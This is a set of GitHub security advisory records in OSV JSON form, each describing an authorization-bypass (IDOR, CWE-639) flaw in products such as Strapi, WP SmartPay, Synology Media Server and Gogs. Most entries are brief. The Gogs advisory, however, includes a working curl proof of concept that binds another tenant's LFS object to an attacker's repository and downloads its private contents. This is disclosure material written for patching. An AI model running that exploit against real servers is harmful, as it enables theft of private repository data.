CWE-639

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@strapi/plugin-content-manager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.19.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-29181"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-12T19:38:01Z",
    "nvd_published_at": "2024-06-12T15:15:50Z",
    "severity": "LOW"
  },
  "details": "### Summary\n1. If a super admin creates a collection where an item in the collection has an association to another collection, a user with the Author Role can see the list of associated items they did not create. They should only see their own items that they created, not all items ever created.\n\n### Details\nAt the top level every collection shows blank items for an Author if they did not create the item. This is ideal and works great. However if you associate one private collection to another private collection and an Author creates a new item. The pull down should not show the admins list of previously created items. It should be blank unitl they add their own items.\n\n### PoC\n1. Sign in as Admin. Navigate to content creation.\n2. Select a collection and verify you have items you created there. And that they have associations to other protected collections.\n3. Verify role permissions for your collections are set to CRUD if user created.\n4. Log out and sign in as a unrelated Author.\n5. Navigate to content management and verify you see collections built by admin but empty for you (as expected)\n6. Create a new item as an Author and see the card appear with attributes to fill out.\n7. Use the form pull down for the associations.\n8. Notice that protected collection items from Admin appear in drop down. These should be hidden\n\n### Impact\nSecurity vulnerability where authors have access to protected data created by admin. This could be passwords emails or any other item created for the admin\u0027s collection. \n\nSee images below for more context\n\nPermissions set\n![image](https://user-images.githubusercontent.com/364910/265132222-66e85726-5e01-4ad3-901a-809270a7f11b.png)\n\nGood at top level no items seen\n![image](https://user-images.githubusercontent.com/364910/265132292-d63fa6df-f32d-48a3-80d0-48a651c570a8.png)\n\nDrop down in Author login can see Admin data\n![image](https://user-images.githubusercontent.com/364910/265132393-8105bae2-b45c-4327-b1c6-da093557e64f.png)\n",
  "id": "GHSA-6j89-frxc-q26m",
  "modified": "2024-06-12T19:38:02Z",
  "published": "2024-06-12T19:38:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/strapi/strapi/security/advisories/GHSA-6j89-frxc-q26m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29181"
    },
    {
      "type": "WEB",
      "url": "https://github.com/strapi/strapi/commit/e1dfd4d9f1cab25cf6da3614c1975e4e508e01c6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/strapi/strapi"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@strapi/plugin-content-manager leaks data via relations via the Admin Panel"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-24850"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-15T22:15:16Z",
    "severity": "MODERATE"
  },
  "details": "An attacker can export other users\u0027 plant information.",
  "id": "GHSA-6jhq-f3cp-jgmp",
  "modified": "2025-04-16T00:31:35Z",
  "published": "2025-04-16T00:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24850"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-105-04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-3848"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-02T04:15:52Z",
    "severity": "HIGH"
  },
  "details": "The Download Manager and Payment Form WordPress Plugin \u2013 WP SmartPay plugin for WordPress is vulnerable to privilege escalation via account takeover in versions 1.1.0 to 2.7.13. This is due to the plugin not properly validating a user\u0027s identity prior to updating their email through the update() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to change arbitrary user\u0027s email addresses, including administrators, and leverage that to reset the user\u0027s password and gain access to their account.",
  "id": "GHSA-6jm3-cv8m-6fx9",
  "modified": "2025-07-24T21:30:34Z",
  "published": "2025-07-02T06:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3848"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/smartpay/tags/2.7.13/app/Http/Controllers/Rest/CustomerController.php#L51"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c197e26f-745b-481a-a7b5-79d1211c02ea?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-38789"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-15T12:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in Airties Smart Wi-Fi before 2020-08-04. It allows attackers to change the main/guest SSID and the PSK to arbitrary values, and map the LAN, because of Insecure Direct Object Reference.",
  "id": "GHSA-6m65-x5hx-qxvc",
  "modified": "2022-09-21T00:00:46Z",
  "published": "2022-09-16T00:00:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38789"
    },
    {
      "type": "WEB",
      "url": "https://airties.com/airties-information-security-policy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ProxyStaffy/Airties-CVE-2022-38789/blob/main/Description"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-54826"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-26T15:16:40Z",
    "severity": "HIGH"
  },
  "details": "Subscriber Insecure Direct Object References (IDOR) in SupportCandy \u003c= 3.4.6 versions.",
  "id": "GHSA-6mpj-cp6h-6c54",
  "modified": "2026-06-26T15:32:15Z",
  "published": "2026-06-26T15:32:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54826"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/supportcandy/vulnerability/wordpress-supportcandy-plugin-3-4-6-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-4464"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-18T06:15:23Z",
    "severity": "HIGH"
  },
  "details": "Authorization bypass through user-controlled key vulnerability in streaming service in Synology Media Server before 1.4-2680, 2.0.5-3152 and 2.2.0-3325 allows remote attackers to read specific files via unspecified vectors.",
  "id": "GHSA-6p5p-h4hf-rf37",
  "modified": "2024-12-18T06:30:49Z",
  "published": "2024-12-18T06:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4464"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/en-global/security/advisory/Synology_SA_24_28"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "gogs.io/gogs"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.14.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-52812"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-345",
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-23T17:10:25Z",
    "nvd_published_at": "2026-06-24T21:16:57Z",
    "severity": "HIGH"
  },
  "details": "Summary\n\nGit LFS storage is content-addressed by OID alone (`\u003cLFS-root\u003e/\u003coid[0]\u003e/\u003coid[1]\u003e/\u003coid\u003e`) but per-repo authorization lives in the `lfs_object` table keyed `(repo_id, oid)`. `serveUpload` skips re-uploading when the OID file already exists on disk and inserts a new `(repo_id, oid)` row pointing at it **without verifying the request body hashes to the OID being claimed**. Any user with write access to one repo can bind their repo to an OID owned by a private repo and download the original bytes via their own download endpoint.\n\nDetails\n\nDedupe shortcut at `internal/lfsx/storage.go:79-82`:\n\n```go\nif fi, err := os.Stat(fpath); err == nil {\n    _, _ = io.Copy(io.Discard, rc)\n    return fi.Size(), nil          // \u2190 returns success with no hash check\n}\n```\n\nHash verification at `internal/lfsx/storage.go:106-108` only runs in the *new-file* branch \u2014 the dedupe path returns earlier.\n\n`serveUpload` (`internal/route/lfs/basic.go:78-114`) trusts that success and inserts the per-repo binding:\n\n```go\n_, err := h.store.GetLFSObjectByOID(c.Req.Context(), repo.ID, oid)   // per-repo\nif err == nil { /* already linked, drain \u0026 return 200 */ }\nwritten, err := s.Upload(oid, c.Req.Request.Body)\nerr = h.store.CreateLFSObject(c.Req.Context(), repo.ID, oid, written, s.Storage())\n```\n\n`CreateLFSObject` is an unconditional `INSERT` on `(repo_id, oid)` with no check that the OID is referenced by the requesting repo\u0027s git history.\n\n`serveDownload` at `internal/route/lfs/basic.go:42-72` only consults the per-repo row, then streams from the shared content-addressed file.\n\nSuggested fix\n\n1. In `LocalStorage.Upload`, when `os.Stat(fpath) == nil`, hash the request body via `io.TeeReader` and `ErrOIDMismatch` on disagreement \u2014 same code path as the new-file branch already uses. The \"client retries after partial failure\" use case still works; the retry just has to send the correct content.\n2. Optional second layer: in `serveUpload`, refuse `CreateLFSObject` unless the OID is referenced by an LFS pointer in the requesting repo\u0027s refs.\n\nPoC\n\nTested against gogs at HEAD `d7571322` (also reproduces on `v0.14.2`, paths are `internal/lfsutil/storage.go` and identical logic).\n\n### Reproduction prerequisites\n- Running gogs \u2265 0.12.0 with `[lfs] ENABLED = true`.\n- Two accounts: `alice` (private repo `secrets`) and `bob` (any repo `bob/scratch`); bob has no access to `alice/secrets`.\n- An OID known to be present in `alice/secrets` \u2014 leaked LFS pointer file in any public ancestor commit, stale fork, support ticket, or any side channel. Brute force is infeasible (256-bit).\n\n### Setup (testbed simulation of the victim\u0027s prior state)\n\n```sh\nGOGS=https://gogs.example\nALICE_AUTH=\u0027-u alice:alice_password\u0027\nBOB_AUTH=\u0027-u bob:bob_password\u0027\n\nVICTIM_BYTES=\u0027victim secret content\u0027\nOID=$(printf %s \"$VICTIM_BYTES\" | sha256sum | cut -d\u0027 \u0027 -f1)\nSIZE=$(printf %s \"$VICTIM_BYTES\" | wc -c)\n\n# After this, file lives at \u003cconf.LFS.ObjectsPath\u003e/\u003cOID[0]\u003e/\u003cOID[1]\u003e/\u003cOID\u003e\n# and (alice/secrets, OID) row exists in lfs_object.\nprintf %s \"$VICTIM_BYTES\" | curl -sS $ALICE_AUTH \\\n  -H \u0027Content-Type: application/octet-stream\u0027 \\\n  -X PUT --data-binary @- \\\n  \"$GOGS/alice/secrets.git/info/lfs/objects/basic/$OID\"\n```\n\n### Attack \u2014 bob has only `$OID`, not `$VICTIM_BYTES`\n\n```sh\nunset VICTIM_BYTES   # attacker has no idea what the file contains\n\n# 1. Confirm bob has no claim on $OID.\ncurl -sS $BOB_AUTH \\\n  -H \u0027Accept: application/vnd.git-lfs+json\u0027 \\\n  -H \u0027Content-Type: application/vnd.git-lfs+json\u0027 \\\n  -X POST \"$GOGS/bob/scratch.git/info/lfs/objects/batch\" \\\n  --data \"{\\\"operation\\\":\\\"download\\\",\\\"objects\\\":[{\\\"oid\\\":\\\"$OID\\\",\\\"size\\\":$SIZE}]}\"\n# \u2192 \"actions\":{\"error\":{\"code\":404,\"message\":\"Object does not exist\"}}\n\n# 2. PUT garbage to bob\u0027s LFS endpoint. The on-disk OID file already exists\n#    so LocalStorage.Upload takes the dedupe shortcut: drains the body\n#    without hashing, returns alice\u0027s size; CreateLFSObject inserts (bob, OID).\ncurl -sS $BOB_AUTH \\\n  -H \u0027Content-Type: application/octet-stream\u0027 \\\n  -X PUT --data-binary \u0027irrelevant attacker-controlled bytes\u0027 \\\n  \"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID\"\n# \u2192 HTTP/1.1 200 OK\n\n# 3. Download via bob\u0027s repo \u2014 gogs streams alice\u0027s bytes.\ncurl -sS $BOB_AUTH \"$GOGS/bob/scratch.git/info/lfs/objects/basic/$OID\" -o /tmp/leaked\ncat /tmp/leaked\n# \u2192 victim secret content\nsha256sum /tmp/leaked | cut -d\u0027 \u0027 -f1\n# \u2192 matches $OID exactly\n```\n\n### Independent confirmation against the source\n\n```sh\ngit clone https://github.com/gogs/gogs.git \u0026\u0026 cd gogs\ngit checkout d7571322\n\nsed -n \u002763,114p\u0027 internal/lfsx/storage.go      # dedupe at 79-82, hash check at 106 only in new-file branch\nsed -n \u002774,117p\u0027 internal/route/lfs/basic.go   # serveUpload calls CreateLFSObject regardless of dedupe path\ngrep -n \u0027primaryKey\u0027 internal/database/lfs.go  # composite (RepoID, OID) PK \u2014 multiple repos can share an OID row\n```\n\nImpact\n\n- **Cross-tenant disclosure of any LFS object on the instance.** Attacker needs HTTP write to one repo + knowledge of a target OID; storage path is global, no per-repo isolation.\n- LFS commonly stores certificates/keys, firmware blobs, ML model weights, datasets containing PII, packaged installers \u2014 all extracted byte-for-byte.\n- Persistent: the `(bob/scratch, OID)` row pins read access until manually deleted; removing bob\u0027s repo write access does not revoke prior binds. No artefact on victim\u0027s side beyond a 200 in the LFS access log.",
  "id": "GHSA-6p9m-q3jp-47h4",
  "modified": "2026-07-21T13:40:25Z",
  "published": "2026-06-23T17:10:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/security/advisories/GHSA-6p9m-q3jp-47h4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52812"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/pull/8333"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/commit/f35a767af74e05342bafc6fdda02c791816426f8"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gogs/gogs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Gogs: LFS dedupe path leaks private repo content across tenants"
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-6008"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-14T13:16:21Z",
    "severity": "MODERATE"
  },
  "details": "Authorization bypass through User-Controlled key vulnerability in Im Park Information Technology, Electronics, Press, Publishing and Advertising, Education Ltd. Co. DijiDemi allows Privilege Abuse.\n\nThis issue affects DijiDemi: from v4.5.12.1 before v4.5.13.0.",
  "id": "GHSA-6pgg-77xr-rqqp",
  "modified": "2026-05-14T15:31:58Z",
  "published": "2026-05-14T15:31:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6008"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-26-0239"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-14183"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-21T07:16:34Z",
    "severity": "MODERATE"
  },
  "details": "The Classified Listing  WordPress plugin before 5.3.9 does not verify that the order targeted by its payment-receipt handler belongs to the requesting user, allowing authenticated users with subscriber-level access to read the payment receipt details of any other user\u0027s order.",
  "id": "GHSA-6phg-rm29-h3wq",
  "modified": "2026-07-21T18:31:00Z",
  "published": "2026-07-21T09:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-14183"
    },
    {
      "type": "WEB",
      "url": "https://wpscan.com/vulnerability/5b720785-86a4-4610-83cb-8cc998d90ccf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-2697"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-23T16:29:37Z",
    "severity": "MODERATE"
  },
  "details": "An Indirect Object Reference (IDOR) in Security Center allows an authenticated remote attacker to escalate privileges via the \u0027owner\u0027 parameter.",
  "id": "GHSA-6pjc-995p-mh58",
  "modified": "2026-02-23T18:32:02Z",
  "published": "2026-02-23T18:32:02Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2697"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/tns-2026-07"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}